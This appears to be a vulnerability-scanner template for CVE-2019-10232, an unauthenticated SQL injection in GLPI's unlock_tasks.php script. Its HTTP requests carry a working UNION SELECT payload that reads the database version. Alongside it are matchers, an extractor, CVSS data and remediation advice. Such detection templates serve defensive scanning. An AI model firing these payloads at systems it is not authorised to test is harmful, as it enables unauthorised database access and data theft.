Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection

id: CVE-2019-10232

info:
  name: Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection
  author: RedTeamBrasil
  severity: critical
  description: Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and retrieve database records.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Teclib GLPI (9.3.4 or later) to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/advisories/GLPI_9.3.3_SQL_Injection.pdf
    - https://github.com/glpi-project/glpi/commit/684d4fc423652ec7dde21cac4d41c2df53f56b3c
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10232
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-10232
    cwe-id: CWE-89
    epss-score: 0.12149
    epss-percentile: 0.95246
    cpe: cpe:2.3:a:teclib-edition:gestionnaire_libre_de_parc_informatique:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: teclib-edition
    product: gestionnaire_libre_de_parc_informatique
  tags: cve,cve2019,glpi,sqli,injection,teclib-edition

http:
  - method: GET
    path:
      - "{{BaseURL}}/glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1"
      - "{{BaseURL}}/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "-MariaDB-"
          - "Start unlock script"
        condition: and

    extractors:
      - type: regex
        regex:
          - "[0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}-MariaDB"
        part: body
# digest: 4b0a00483046022100efff10a9f7ef07b0c26cf059ac132ff1bd1afdac52ce651b2e0b519e4207debd022100c1d21956a12aac1e196d8bc9e988ecff71dd81575e68f0572017946fccef80b2:922c64590222798bb761d5b6d8e72950